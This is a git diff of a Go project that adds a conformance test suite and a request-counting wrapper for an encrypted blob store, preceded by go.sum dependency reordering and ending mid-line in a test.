h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs= golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/tools v0.47.0 h1:7Kn5x/d1svx/PzryTsqeoZN4TZwqeH5pGWjefhLi/1Q= golang.org/x/tools v0.47.0/go.mod h1:dFHnyTvFWY212G+h7ZY4Vsp/K3U4/7W9TyVaAul8uCA= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= diff --git a/internal/blobstore/blobstoretest/suite.go b/internal/blobstore/blobstoretest/suite.go new file mode 100644 index 0000000000..0c894d9eab --- /dev/null +++ b/internal/blobstore/blobstoretest/suite.go @@ -0,0 +1,499 @@ +// Package blobstoretest is the conformance suite every blobstore.Store must +// pass. The fake and each real store run the same cases, so the fake can stand +// in for any of them in other packages' tests without changing what they prove. +package blobstoretest + +import ( + "context" + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +// Factory returns a fresh, empty store for one test. +type Factory func(t *testing.T) blobstore.Store + +// Run runs the whole suite against stores made by factory. +func Run(t *testing.T, factory Factory) { + cases := map[string]func(*testing.T, blobstore.Store){ + "round trip": roundTrip, + "put answers frame id": putAnswersFrameID, + "idempotent put": idempotentPut, + "same object two frames": sameObjectTwoFrames, + "conflict": conflict, + "ConflictStoresNothing": conflictStoresNone, + "FullLeavesNoPointer": fullLeavesNoPointer, + "not found": notFound, + "bad rid": badRID, + "GetManyInOrder": getManyInOrder, + "GetManyStopsAtAbsent": getManyStopsAtAbsent, + "GetManyFirstAbsent": getManyFirstAbsent, + "GetManyFitsOneFrame": getManyFitsOneFrame, + "GetManyRefusals": getManyRefusals, + "has order": hasOrder, + "has bound": hasBound, + "bad frames": badFrames, + "RefusesPlaintext": plaintextRefused, + "vault object accepted": vaultObjectAccepted, + "GetFrame round trip": getFrameRoundTrip, + "GetFrame refusals": getFrameRefusals, + "Locate answers offsets": locateMatchesDecode, + "Locate keeps first": locateKeepsFirst, + "Locate refusals": locateRefusals, + } + for name, run := range cases { + t.Run(name, func(t *testing.T) { run(t, factory(t)) }) + } +} + +var ctx = context.Background() + +func roundTrip(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + put(t, s, frameOf(t, a, b)) + for _, o := range []blobstore.Object{a, b} { + got, err := s.Get(ctx, o.RID) + if err != nil || string(got) != string(o.Bytes) { + t.Fatalf("Get(%s) = %q, %v; want %q", o.RID[:8], got, err, o.Bytes) + } + } +} + +func putAnswersFrameID(t *testing.T, s blobstore.Store) { + frame := frameOf(t, object("a")) + if got := put(t, s, frame); got != blobstore.IDOf(frame) { + t.Fatalf("PutFrame id = %s, want %s", got, blobstore.IDOf(frame)) + } +} + +func idempotentPut(t *testing.T, s blobstore.Store) { + frame := frameOf(t, object("a"), object("b")) + first := put(t, s, frame) + if second := put(t, s, frame); second != first { + t.Fatalf("second put answered %s, first %s", second, first) + } +} + +func sameObjectTwoFrames(t *testing.T, s blobstore.Store) { + a := object("a") + put(t, s, frameOf(t, a)) + put(t, s, frameOf(t, a, object("b"))) + if got, err := s.Get(ctx, a.RID); err != nil || string(got) != string(a.Bytes) { + t.Fatalf("Get after re-put = %q, %v", got, err) + } +} + +func conflict(t *testing.T, s blobstore.Store) { + a := object("a") + put(t, s, frameOf(t, a)) + other := blobstore.Object{RID: a.RID, Bytes: sealed("different")} + if _, err := s.PutFrame(ctx, frameOf(t, other)); !errors.Is(err, blobstore.ErrConflict) { + t.Fatalf("PutFrame with the same rid and other bytes = %v, want ErrConflict", err) + } + if got, _ := s.Get(ctx, a.RID); string(got) != string(a.Bytes) { + t.Fatalf("a conflicting put changed the stored bytes to %q", got) + } +} + +// A frame is all or nothing: one conflicting object must keep the frame's +// other objects out, or a refused frame would still leave part of itself behind. +func conflictStoresNone(t *testing.T, s blobstore.Store) { + a, fresh := object("a"), object("fresh") + put(t, s, frameOf(t, a)) + other := blobstore.Object{RID: a.RID, Bytes: sealed("different")} + if _, err := s.PutFrame(ctx, frameOf(t, fresh, other)); !errors.Is(err, blobstore.ErrConflict) { + t.Fatalf("PutFrame = %v, want ErrConflict", err) + } + if _, err := s.Get(ctx, fresh.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("Get of an object from a refused frame = %v, want ErrNotFound", err) + } +} + +// failer is what a fake offers so the suite can make it report a full store; +// a real store cannot be filled on demand and has its own test instead. +type failer interface{ FailAfter(n int, err error) } + +func fullLeavesNoPointer(t *testing.T, s blobstore.Store) { + f, ok := s.(failer) + if !ok { + t.Skip("store cannot be told to fail; its own test covers a full store") + } + a := object("a") + f.FailAfter(0, blobstore.ErrFull) + if _, err := s.PutFrame(ctx, frameOf(t, a)); !errors.Is(err, blobstore.ErrFull) { + t.Fatalf("PutFrame on a full store = %v, want ErrFull", err) + } + if _, err := s.Get(ctx, a.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("Get after a full store refused the put = %v, want ErrNotFound", err) + } + put(t, s, frameOf(t, a)) // the failure was one call; the store carries on +} + +func notFound(t *testing.T, s blobstore.Store) { + if _, err := s.Get(ctx, object("absent").RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("Get of an absent object = %v, want ErrNotFound", err) + } +} + +func badRID(t *testing.T, s blobstore.Store) { + for _, rid := range []string{"", "abc", strings.Repeat("A", 64), strings.Repeat("g", 64), "../" + strings.Repeat("a", 61)} { + if _, err := s.Get(ctx, rid); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("Get(%q) = %v, want ErrBadRID", rid, err) + } + if _, err := s.Has(ctx, []string{rid}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("Has(%q) = %v, want ErrBadRID", rid, err) + } + } +} + +// getManyInOrder: every object asked for comes back in the order asked, which is +// not the order the store holds them in. +func getManyInOrder(t *testing.T, s blobstore.Store) { + a, b, c := object("a"), object("b"), object("c") + put(t, s, frameOf(t, a, b)) + put(t, s, frameOf(t, c)) + got, err := s.GetMany(ctx, []string{c.RID, a.RID, b.RID}) + must(t, err) + wantObjects(t, got, c, a, b) +} + +// getManyStopsAtAbsent: an absent object ends the answer, with what came before +// it, so the caller learns which rid is missing by asking for the rest. +func getManyStopsAtAbsent(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + put(t, s, frameOf(t, a, b)) + got, err := s.GetMany(ctx, []string{a.RID, object("absent").RID, b.RID}) + must(t, err) + wantObjects(t, got, a) +} + +func getManyFirstAbsent(t *testing.T, s blobstore.Store) { + if _, err := s.GetMany(ctx, []string{object("absent").RID, object("a").RID}); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("GetMany with the first object absent = %v, want ErrNotFound", err) + } +} + +// getManyFitsOneFrame: the answer is about a frame's worth of bytes, so a caller +// that asked for more asks again, and the pieces add up to what it asked for. +func getManyFitsOneFrame(t *testing.T, s blobstore.Store) { + big := make([]blobstore.Object, 4) + rids := make([]string, len(big)) + for i := range big { + big[i] = blobstore.Object{RID: object(string(rune('p' + i))).RID, Bytes: sealed(strings.Repeat("x", blobstore.TargetFrame/3))} + rids[i] = big[i].RID + } + put(t, s, frameOf(t, big...)) + first, err := s.GetMany(ctx, rids) + must(t, err) + if len(first) == 0 || len(first) >= len(big) { + t.Fatalf("GetMany of four thirds of a frame answered %d objects, want a proper prefix", len(first)) + } + rest, err := s.GetMany(ctx, rids[len(first):]) + must(t, err) + got := append(first, rest...) + wantObjects(t, got, big[:len(got)]...) +} + +func getManyRefusals(t *testing.T, s blobstore.Store) { + rids := make([]string, blobstore.MaxGetMany+1) + for i := range rids { + rids[i] = object(strings.Repeat("y", i+1)).RID + } + if _, err := s.GetMany(ctx, rids); !errors.Is(err, blobstore.ErrTooMany) { + t.Errorf("GetMany of MaxGetMany+1 ids = %v, want ErrTooMany", err) + } + if _, err := s.GetMany(ctx, []string{object("a").RID, "abc"}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("GetMany with a bad id = %v, want ErrBadRID", err) + } + a := object("a").RID + if _, err := s.GetMany(ctx, []string{a, a}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("GetMany with an id twice = %v, want ErrBadRID", err) + } + if got, err := s.GetMany(ctx, nil); err != nil || len(got) != 0 { + t.Errorf("GetMany of no ids = %v, %v; want empty, nil", got, err) + } +} + +func wantObjects(t *testing.T, got []blobstore.Object, want ...blobstore.Object) { + t.Helper() + if len(got) != len(want) { + t.Fatalf("GetMany answered %d objects, want %d", len(got), len(want)) + } + for i := range want { + if got[i].RID != want[i].RID || string(got[i].Bytes) != string(want[i].Bytes) { + t.Fatalf("object %d is %s, want %s", i, got[i].RID[:8], want[i].RID[:8]) + } + } +} + +func must(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} + +func hasOrder(t *testing.T, s blobstore.Store) { + a, b, c := object("a"), object("b"), object("c") + put(t, s, frameOf(t, a, c)) + got, err := s.Has(ctx, []string{c.RID, b.RID, a.RID, c.RID}) + if err != nil { + t.Fatal(err) + } + want := []bool{true, false, true, true} + if len(got) != len(want) { + t.Fatalf("Has answered %d values, want %d", len(got), len(want)) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("Has = %v, want %v", got, want) + } + } +} + +func hasBound(t *testing.T, s blobstore.Store) { + rids := make([]string, blobstore.MaxHas) + for i := range rids { + rids[i] = object(string(rune('a'+i%26)) + strings.Repeat("x", i)).RID + } + if got, err := s.Has(ctx, rids); err != nil || len(got) != blobstore.MaxHas { + t.Fatalf("Has of MaxHas ids = %d values, %v; want %d, nil", len(got), err, blobstore.MaxHas) + } + if _, err := s.Has(ctx, append(rids, rids[0])); !errors.Is(err, blobstore.ErrTooMany) { + t.Fatalf("Has of MaxHas+1 ids = %v, want ErrTooMany", err) + } + if got, err := s.Has(ctx, nil); err != nil || len(got) != 0 { + t.Fatalf("Has of no ids = %v, %v; want empty, nil", got, err) + } +} + +// badFrames gives every rule of Decode its own row. Each frame is valid except +// for that one rule, so a row that fails to fail proves that rule is unchecked. +func badFrames(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + for name, frame := range badFrameTable(a, b) { + t.Run(name, func(t *testing.T) { + if _, err := s.PutFrame(ctx, frame); !errors.Is(err, blobstore.ErrBadFrame) { + t.Fatalf("PutFrame = %v, want ErrBadFrame", err) + } + if _, err := s.Get(ctx, a.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("a refused frame left an object behind: Get = %v", err) + } + }) + } +} + +func badFrameTable(a, b blobstore.Object) map[string][]byte { + good := func(refs ...blobstore.ObjectRef) []byte { return frameWith(header(refs...), a.Bytes, b.Bytes) } + ref := func(o blobstore.Object, off uint64) blobstore.ObjectRef { + return blobstore.ObjectRef{RID: o.RID, Off: off, Len: uint32(len(o.Bytes))} + } + la := uint64(len(a.Bytes)) + pad := make([]byte, blobstore.MaxFrame) + return map[string][]byte{ + "empty": nil, + "shorter than the prefix": []byte("AGEF\x01\x00"), + "wrong magic": append([]byte("XXXX\x01"), good(ref(a, 0), ref(b, la))[5:]...), + "wrong magic version": append([]byte("AGEF\x02"), good(ref(a, 0), ref(b, la))[5:]...), + "header longer than limit": binary.LittleEndian.AppendUint32([]byte("AGEF\x01"), blobstore.MaxHeader+1), + "header runs past frame": binary.LittleEndian.AppendUint32([]byte("AGEF\x01"), 100), + "header not json": frameWith([]byte("not json"), a.Bytes), + "header version 2": frameWith(mustJSON(blobstore.Header{V: 2, Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "cell key id too short": frameWith(mustJSON(blobstore.Header{V: 1, CellKeyID: "abc", Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "cell key id uppercase": frameWith(mustJSON(blobstore.Header{V: 1, CellKeyID: strings.Repeat("A", 32), Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "cell key id empty": frameWith(mustJSON(blobstore.Header{V: 1, Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "header version missing": frameWith([]byte(`{"objects":[]}`), a.Bytes), + "no objects": frameWith(mustJSON(blobstore.Header{V: 1, Objects: []blobstore.ObjectRef{}}), nil), + "first offset not zero": frameWith(header(ref(a, 1)), []byte("x"), a.Bytes), + "gap between objects": frameWith(header(ref(a, 0), ref(b, la+1)), a.Bytes, []byte("x"), b.Bytes), + "objects overlap": frameWith(header(ref(a, 0), ref(b, la-1)), a.Bytes, b.Bytes), + "object past payload": frameWith(header(ref(a, 0), ref(b, la)), a.Bytes), + "payload has extra bytes": frameWith(header(ref(a, 0)), a.Bytes, b.Bytes), + "rid too short": frameWith(header(blobstore.ObjectRef{RID: "abc", Len: uint32(len(a.Bytes))}), a.Bytes), + "rid uppercase": frameWith(header(blobstore.ObjectRef{RID: strings.ToUpper(a.RID), Len: uint32(len(a.Bytes))}), a.Bytes), + "rid not hex": frameWith(header(blobstore.ObjectRef{RID: strings.Repeat("z", 64), Len: uint32(len(a.Bytes))}), a.Bytes), + "duplicate rid": frameWith(header(ref(a, 0), blobstore.ObjectRef{RID: a.RID, Off: la, Len: uint32(len(a.Bytes))}), a.Bytes, a.Bytes), + "object is plaintext": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 5}), []byte("hello")), + "object has empty body": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 0}), nil), + "object magic version": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 6}), []byte("AGEO\x02x")), + "object magic cut short": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 4}), []byte("AGEO")), + "second object is plain": frameWith(header(ref(a, 0), blobstore.ObjectRef{RID: b.RID, Off: la, Len: 5}), a.Bytes, []byte("plain")), + "frame larger than limit": oversized(a, pad), + } +} + +// oversized builds a frame whose only fault is its total size: one valid +// object padded past MaxFrame. +func oversized(a blobstore.Object, pad []byte) []byte { + body := append(append([]byte(nil), a.Bytes...), pad...) + return frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: uint32(len(body))}), body) +} + +// L6: a store must never hold bytes it cannot tell are sealed. +func plaintextRefused(t *testing.T, s blobstore.Store) { + plain := blobstore.Object{RID: hash("plain"), Bytes: []byte("just some readable text")} + frame := frameWith(header(blobstore.ObjectRef{RID: plain.RID, Len: uint32(len(plain.Bytes))}), plain.Bytes) + if _, err := s.PutFrame(ctx, frame); !errors.Is(err, blobstore.ErrBadFrame) { + t.Fatalf("PutFrame of a plaintext object = %v, want ErrBadFrame", err) + } + if _, err := s.Get(ctx, plain.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("plaintext object was stored: Get = %v", err) + } +} + +func vaultObjectAccepted(t *testing.T, s blobstore.Store) { + v := blobstore.Object{RID: hash("vault"), Bytes: []byte("AGEV\x01envelope")} + put(t, s, frameOf(t, v)) + if got, err := s.Get(ctx, v.RID); err != nil || string(got) != string(v.Bytes) { + t.Fatalf("Get of a vault object = %q, %v", got, err) + } +} + +func put(t *testing.T, s blobstore.Store, frame []byte) blobstore.FrameID { + t.Helper() + id, err := s.PutFrame(ctx, frame) + if err != nil { + t.Fatalf("PutFrame: %v", err) + } + return id +} + +// MakeFrameOf is frameOf, exported likewise. +func frameOf(t *testing.T, objects ...blobstore.Object) []byte { + t.Helper() + frame, err := blobstore.Encode(strings.Repeat("0", 32), objects) + if err != nil { + t.Fatalf("Encode: %v", err) + } + return frame +} + +// object makes a sealed-looking object whose id is the hash of its name. +func object(name string) blobstore.Object { + return blobstore.Object{RID: hash(name), Bytes: sealed(name)} +} + +func sealed(body string) []byte { return append([]byte("AGEO\x01"), body...) } + +func hash(s string) string { + sum := sha256.Sum256([]byte(s)) + return hex.EncodeToString(sum[:]) +} + +func header(refs ...blobstore.ObjectRef) []byte { + return mustJSON(blobstore.Header{V: 1, CellKeyID: strings.Repeat("0", 32), Objects: refs}) +} + +func mustJSON(v any) []byte { + b, err := json.Marshal(v) + if err != nil { + panic(err) + } + return b +} + +// frameWith assembles a frame by hand so a case can break exactly one rule, +// which Encode would refuse to do. +func frameWith(header []byte, payload ...[]byte) []byte { + out := binary.LittleEndian.AppendUint32([]byte("AGEF\x01"), uint32(len(header))) + out = append(out, header...) + for _, p := range payload { + out = append(out, p...) + } + return out +} + +// getFrameRoundTrip: GetFrame answers the exact bytes of a frame that was put. +func getFrameRoundTrip(t *testing.T, s blobstore.Store) { + frame := frameOf(t, object("a"), object("b")) + id := put(t, s, frame) + got, err := s.GetFrame(ctx, id) + if err != nil || string(got) != string(frame) { + t.Fatalf("GetFrame = %d bytes, %v; want the %d put", len(got), err, len(frame)) + } +} + +// getFrameRefusals: a well-formed id that was never put is ErrNotFound, and an +// id that could never name a frame is ErrBadRID, as Get refuses its bad rids. +func getFrameRefusals(t *testing.T, s blobstore.Store) { + if _, err := s.GetFrame(ctx, hash("absent frame")); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("GetFrame of an absent frame = %v, want ErrNotFound", err) + } + for _, id := range []string{"", "abc", strings.Repeat("A", 64), "../" + strings.Repeat("a", 61)} { + if _, err := s.GetFrame(ctx, id); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("GetFrame(%q) = %v, want ErrBadRID", id, err) + } + } +} + +// locateMatchesDecode: every location Locate answers points into the frame that +// holds the object, at the offset and length Decode of that frame says. +func locateMatchesDecode(t *testing.T, s blobstore.Store) { + a, b, c := object("a"), object("b"), object("c") + first, second := frameOf(t, a, b), frameOf(t, c) + put(t, s, first) + put(t, s, second) + at, err := s.Locate(ctx, []string{a.RID, b.RID, c.RID}) + must(t, err) + held := []struct { + rid string + frame []byte + obj blobstore.Object + }{{a.RID, first, a}, {b.RID, first, b}, {c.RID, second, c}} + for _, h := range held { + loc, ok := at[h.rid] + if !ok { + t.Fatalf("Locate(%s) is absent from the answer", h.rid[:8]) + } + if loc.Frame != blobstore.IDOf(h.frame) { + t.Errorf("Locate(%s) names frame %s, want %s", h.rid[:8], loc.Frame, blobstore.IDOf(h.frame)) + } + if string(h.frame[loc.Off:uint64(loc.Off)+uint64(loc.Len)]) != string(h.obj.Bytes) { + t.Errorf("Locate(%s) points at the wrong bytes", h.rid[:8]) + } + } +} + +// locateKeepsFirst: an object stored again in a later frame keeps the location +// it first had, as the pointer is never rewritten. +func locateKeepsFirst(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + first := frameOf(t, a, b) + put(t, s, first) + put(t, s, frameOf(t, b, a)) // the same bytes again, at another offset + at, err := s.Locate(ctx, []string{a.RID}) + must(t, err) + // a is the first object of the first frame, so its first location names + // that frame at the payload's start; the re-put's later offset is not it. + start := uint64(len(first)) - uint64(len(a.Bytes)+len(b.Bytes)) + loc, ok := at[a.RID] + if !ok || loc.Frame != blobstore.IDOf(first) || loc.Off != start { + t.Fatalf("Locate after a re-put = %+v, want the first location at offset %d", loc, start) + } +} + +// locateRefusals: the argument rules are Has's, at the same bound. +func locateRefusals(t *testing.T, s blobstore.Store) { + rids := make([]string, blobstore.MaxHas+1) + for i := range rids { + rids[i] = object(strings.Repeat("y", i+1)).RID + } + if _, err := s.Locate(ctx, rids); !errors.Is(err, blobstore.ErrTooMany) { + t.Errorf("Locate of MaxHas+1 ids = %v, want ErrTooMany", err) + } + if _, err := s.Locate(ctx, []string{object("a").RID, "abc"}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("Locate with a bad id = %v, want ErrBadRID", err) + } + if at, err := s.Locate(ctx, []string{object("absent").RID}); err != nil || len(at) != 0 { + t.Errorf("Locate of an unheld rid = %v, %v; want empty", at, err) + } + if at, err := s.Locate(ctx, nil); err != nil || len(at) != 0 { + t.Errorf("Locate of no ids = %v, %v; want empty", at, err) + } +} diff --git a/internal/blobstore/counting.go b/internal/blobstore/counting.go new file mode 100644 index 0000000000..81d3b85c94 --- /dev/null +++ b/internal/blobstore/counting.go @@ -0,0 +1,77 @@ +package blobstore + +import ( + "context" + "sync/atomic" +) + +// Counters is a running tally of what one Store was asked to move. The fields +// are atomic so a batcher and a fetcher can share one tally. +type Counters struct { + Puts, Gets, Has, BytesUp, BytesDown, ObjectsUp atomic.Int64 +} + +// Counting is a Store that counts every request it passes to Inner, whether or +// not the request succeeds: the relay counts what it received, and the two +// tallies only agree if a failed request is counted on both sides. +type Counting struct { + Inner Store + C *Counters +} + +var _ Store = Counting{} + +// PutFrame counts one put, the frame's bytes, and the objects in its header. +func (c Counting) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + c.C.Puts.Add(1) + c.C.BytesUp.Add(int64(len(frame))) + c.C.ObjectsUp.Add(objectsIn(frame)) + return c.Inner.PutFrame(ctx, frame) +} + +// Get counts one get and the bytes it returned. +func (c Counting) Get(ctx context.Context, rid string) ([]byte, error) { + c.C.Gets.Add(1) + b, err := c.Inner.Get(ctx, rid) + c.C.BytesDown.Add(int64(len(b))) + return b, err +} + +// GetMany counts one get however many objects answer it, and their bytes: the +// relay counts one request and the same bytes, so the tallies agree. +func (c Counting) GetMany(ctx context.Context, rids []string) ([]Object, error) { + c.C.Gets.Add(1) + got, err := c.Inner.GetMany(ctx, rids) + c.C.BytesDown.Add(sizeOf(got)) + return got, err +} + +// Has counts one request, however many rids it asks about. +func (c Counting) Has(ctx context.Context, rids []string) ([]bool, error) { + c.C.Has.Add(1) + return c.Inner.Has(ctx, rids) +} + +// GetFrame counts one get and the frame's bytes. +func (c Counting) GetFrame(ctx context.Context, frame string) ([]byte, error) { + c.C.Gets.Add(1) + b, err := c.Inner.GetFrame(ctx, frame) + c.C.BytesDown.Add(int64(len(b))) + return b, err +} + +// Locate counts one request, however many rids it asks about. +func (c Counting) Locate(ctx context.Context, rids []string) (map[string]Location, error) { + c.C.Has.Add(1) + return c.Inner.Locate(ctx, rids) +} + +// objectsIn reads the object count from a frame's header. A frame that does +// not decode is counted as carrying none: the store will refuse it anyway. +func objectsIn(frame []byte) int64 { + h, _, err := Decode(frame) + if err != nil { + return 0 + } + return int64(len(h.Objects)) +} diff --git a/internal/blobstore/counting_test.go b/internal/blobstore/counting_test.go new file mode 100644 index 0000000000..3ac1a932d2 --- /dev/null +++ b/internal/blobstore/counting_test.go @@ -0,0 +1,58 @@ +package blobstore_test + +import ( + "context" + "errors" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/blobstore/blobstoretest" +) + +func TestCountingConforms(t *testing.T) { + blobstoretest.Run(t, func(*testing.T) blobstore.Store { + return blobstore.Counting{Inner: blobstore.NewMemory(), C: &blobstore.Counters{}} + }) +} + +func TestCountingCountsEveryRequest(t *testing.T) { + ctx := context.Background() + c := blobstore.Counting{Inner: blobstore.NewMemory(), C: &blobstore.Counters{}} + obj := blobstore.Object{RID: blobstoreRID('a'), Bytes: []byte("AGEO\x01sealed")} + frame, err := blobstore.Encode("00000000000000000000000000000000", []blobstore.Object{obj, {RID: blobstoreRID('b'), Bytes: []byte("AGEO\x01more")}}) + if err != nil { + t.Fatal(err) + } + if _, err := c.PutFrame(ctx, frame); err != nil { + t.Fatal(err) + } + got, err := c.Get(ctx, obj.RID) + if err != nil { + t.Fatal(err) + } + if _, err := c.Get(ctx, blobstoreRID('c')); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("missing get = %v", err) + } + if _, err := c.PutFrame(ctx, []byte("not a frame")); err == nil { + t.Fatal("a bad frame was stored") + } + if _, err := c.Has(ctx, []string{obj.RID, blobstoreRID('c')}); err != nil { + t.Fatal(err) + } + want := map[string]int64{"puts": 2, "gets": 2, "has": 